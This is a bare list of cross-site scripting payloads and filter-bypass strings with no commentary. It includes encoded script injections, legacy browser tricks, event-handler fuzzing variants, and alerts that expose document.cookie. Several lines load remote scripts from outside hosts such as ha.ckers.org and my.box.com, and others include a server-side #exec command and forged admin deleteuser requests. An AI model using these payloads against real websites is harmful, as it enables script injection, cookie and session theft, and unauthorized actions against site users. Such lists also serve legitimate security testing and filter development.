<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/1/1.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<body/onload=&lt;!--&gt;&#10alert(1)>
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
 <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
<div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<<SCRIPT>alert(“1”);//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
“><s”%2b”cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<BODY BACKGROUND=”javascript:alert(‘1’)”>
<BODY ONLOAD=alert(‘1’)>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘1’);”>
<iframe src=http://ha.ckers.org/scriptlet.html <
javascript:alert("hellox worldss")
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('1');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<<SCRIPT>alert("1");//<</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(1) autofocus>
<input onblur=write(1) autofocus><input autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(1)">lol
<!--<img src="--><img src=x onerror=alert(1)//">
<![><img src="]><img src=x onerror=alert(1)//">
<style><img src="</style><img src=x onerror=alert(1)//">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(1)</script>">
<div style="font-family:'foo&#10;;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(1)</script></svg>
&lt;SCRIPT&gt;alert(/1/&#46;source)&lt;/SCRIPT&gt;
\\";alert('1');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"1\");&lt;/SCRIPT&gt;
&lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('1');\"&gt;
&lt;BODY BACKGROUND=\"javascript&#058;alert('1')\"&gt;
&lt;BODY ONLOAD=alert('1')&gt;
&lt;IMG DYNSRC=\"javascript&#058;alert('1')\"&gt;
&lt;IMG LOWSRC=\"javascript&#058;alert('1')\"&gt;
&lt;BGSOUND SRC=\"javascript&#058;alert('1');\"&gt;
&lt;BR SIZE=\"&{alert('1')}\"&gt;
&lt;LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/LAYER&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('1');\"&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/1&#46;css\"&gt;
&lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/1&#46;css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=\"Link\" Content=\"&lt;http&#58;//ha&#46;ckers&#46;org/1&#46;css&gt;; REL=stylesheet\"&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/1moz&#46;xml#1\")}&lt;/STYLE&gt;
&lt;1 STYLE=\"behavior&#58; url(1&#46;htc);\"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert('1')\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;1
&lt;IMG SRC='vbscript&#058;msgbox(\"1\")'&gt;
&lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
&lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
žscriptualert(E1E)ž/scriptu
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('1');\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert('1');\"
&lt;IFRAME SRC=\"javascript&#058;alert('1');\"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;alert('1');\"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND=\"javascript&#058;alert('1')\"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert('1')\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('1'))\"&gt;
&lt;DIV STYLE=\"background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\"&gt;
&lt;DIV STYLE=\"width&#58; expression(alert('1'));\"&gt;
&lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(\"1\")';&lt;/STYLE&gt;
&lt;IMG STYLE=\"1&#58;expr/*1*/ession(alert('1'))\"&gt;
&lt;1 STYLE=\"1&#58;expression(alert('1'))\"&gt;
exp/*&lt;A STYLE='no\1&#58;no1(\"*//*\");
1&#58;ex&#x2F;*1*//*/*/pression(alert(\"1\"))'&gt;
&lt;STYLE TYPE=\"text/javascript\"&gt;alert('1');&lt;/STYLE&gt;
&lt;STYLE&gt;&#46;1{background-image&#58;url(\"javascript&#058;alert('1')\");}&lt;/STYLE&gt;&lt;A CLASS=1&gt;&lt;/A&gt;
&lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert('1')\")}&lt;/STYLE&gt;
&lt;!--&#91;if gte IE 4&#93;&gt;
&lt;SCRIPT&gt;alert('1');&lt;/SCRIPT&gt;
&lt;!&#91;endif&#93;--&gt;
&lt;BASE HREF=\"javascript&#058;alert('1');//\"&gt;
&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('1')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
a=\"get\";
b=\"URL(\\"\";
c=\"javascript&#058;\";
d=\"alert('1');\\")\";
eval(a+b+c+d);
&lt;HTML xmlns&#58;1&gt;&lt;?import namespace=\"1\" implementation=\"http&#58;//ha&#46;ckers&#46;org/1&#46;htc\"&gt;&lt;1&#58;1&gt;1&lt;/1&#58;1&gt;&lt;/HTML&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert('1');\"&gt;&#93;&#93;&gt;
&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;XML ID=\"1\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;alert('1')\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=\"#1\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;
&lt;XML SRC=\"1test&#46;xml\" ID=I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\"&gt;
&lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;
&lt;t&#58;set attributeName=\"innerHTML\" to=\"1&lt;SCRIPT DEFER&gt;alert(&quot;1&quot;)&lt;/SCRIPT&gt;\"&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;jpg\"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/1&#46;js&gt;&lt;/SCRIPT&gt;'\"--&gt;
&lt;? echo('&lt;SCR)';
echo('IPT&gt;alert(\"1\")&lt;/SCRIPT&gt;'); ?&gt;
&lt;IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\"&gt;
Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
&lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('1')&lt;/SCRIPT&gt;\"&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a=\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;\" '' SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT \"a='&gt;'\" SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;'&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI\");&lt;/SCRIPT&gt;PT SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;A HREF=\"http&#58;//66&#46;102&#46;7&#46;147/\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//1113982867/\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//0102&#46;0146&#46;0007&#46;00000223/\"&gt;1&lt;/A&gt;
&lt;A HREF=\"htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\"&gt;1&lt;/A&gt;
&lt;A HREF=\"//www&#46;google&#46;com/\"&gt;1&lt;/A&gt;
&lt;A HREF=\"//google\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//ha&#46;ckers&#46;org@google\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#58;ha&#46;ckers&#46;org\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#46;com/\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;google&#46;com&#46;/\"&gt;1&lt;/A&gt;
&lt;A HREF=\"javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'\"&gt;1&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\"&gt;1&lt;/A&gt;
&lt;
%3C
&lt
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
&lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
&lt;IMG SRC=\"javascript&#058;alert('1')\"
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/1&#46;js?&lt;B&gt;
&lt;&lt;SCRIPT&gt;alert(\"1\");//&lt;&lt;/SCRIPT&gt;
&lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(\"1\")&gt;
&lt;SCRIPT/1 SRC=\"http&#58;//ha&#46;ckers&#46;org/1&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;IMG SRC=\"   javascript&#058;alert('1');\"&gt;
perl -e 'print \"&lt;SCR\0IPT&gt;alert(\\"1\\")&lt;/SCR\0IPT&gt;\";' &gt; out
perl -e 'print \"&lt;IMG SRC=java\0script&#058;alert(\\"1\\")&gt;\";' &gt; out
&lt;IMG SRC=\"jav&#x0D;ascript&#058;alert('1');\"&gt;
&lt;IMG SRC=\"jav&#x0A;ascript&#058;alert('1');\"&gt;
&lt;IMG SRC=\"jav&#x09;ascript&#058;alert('1');\"&gt;
&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
&lt;IMG SRC=javascript&#058;alert('1')&gt;
&lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
&lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(\"1\")&lt;/SCRIPT&gt;\"&gt;
&lt;IMG SRC=`javascript&#058;alert(\"RSnake says, '1'\")`&gt;
&lt;IMG SRC=javascript&#058;alert(&quot;1&quot;)&gt;
&lt;IMG SRC=JaVaScRiPt&#058;alert('1')&gt;
&lt;IMG SRC=\"javascript&#058;alert('1');\"&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/1&#46;js&gt;&lt;/SCRIPT&gt;
'';!--\"&lt;1&gt;=&{()}
';alert(String&#46;fromCharCode(88,83,83))//\';alert(String&#46;fromCharCode(88,83,83))//\";alert(String&#46;fromCharCode(88,83,83))//\\";alert(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<1>=&{()}
\";alert('1');//
</TITLE><SCRIPT>alert("1");</SCRIPT>
¼script¾alert(¢1¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('1');">
<FRAMESET><FRAME SRC="javascript:alert('1');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('1')">
<TABLE><TD BACKGROUND="javascript:alert('1')">
<DIV STYLE="background-image: url(javascript:alert('1'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert('1'));">
<STYLE>@im\port'\ja\vasc\ript:alert("1")';</STYLE>
<1 STYLE="1:expression(alert('1'))">
exp/*<A STYLE='no\1:no1("*//*");1:&#101;x&#x2F;*1*//*/*/pression(alert("1"))'>
<EMBED SRC="http://ha.ckers.org/1.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('1');\")";eval(a+b+c+d+e);
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="1&lt;SCRIPT DEFER&gt;alert(&quot;1&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
<form id="test" /><button form="test" formaction="javascript:alert(1)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(1)">crosssitespt
<frameset onload=alert(1)>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="javascript:alert(1)">
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(1)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
“><ScRiPt>alert(document.cookie)</script>
“><<script>alert(document.cookie);//<</script>
foo<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/1.js%3E%3C/script%3E%22)’%3E
‘; alert(document.cookie); var foo=’
foo\’; alert(document.cookie);//’;
<BODY ONLOAD=alert(’1’)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<body src=1 href=1 onerror="javascript:alert(1)"></body>
<image src=1 href=1 onerror="javascript:alert(1)"></image>
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
<object onError object onError="javascript:javascript:alert(1)"></object onError>
<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
<body onload body onload="javascript:javascript:alert(1)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>

<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
"'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
<style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF 
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF 
'`"><\x3Cscript>javascript:alert(1)</script>
"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
"'`><\x00img src=xxx:x onerror=javascript:alert(1)>
ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
ABC<div style="x:expression\x00(javascript:alert(1)">DEF
ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
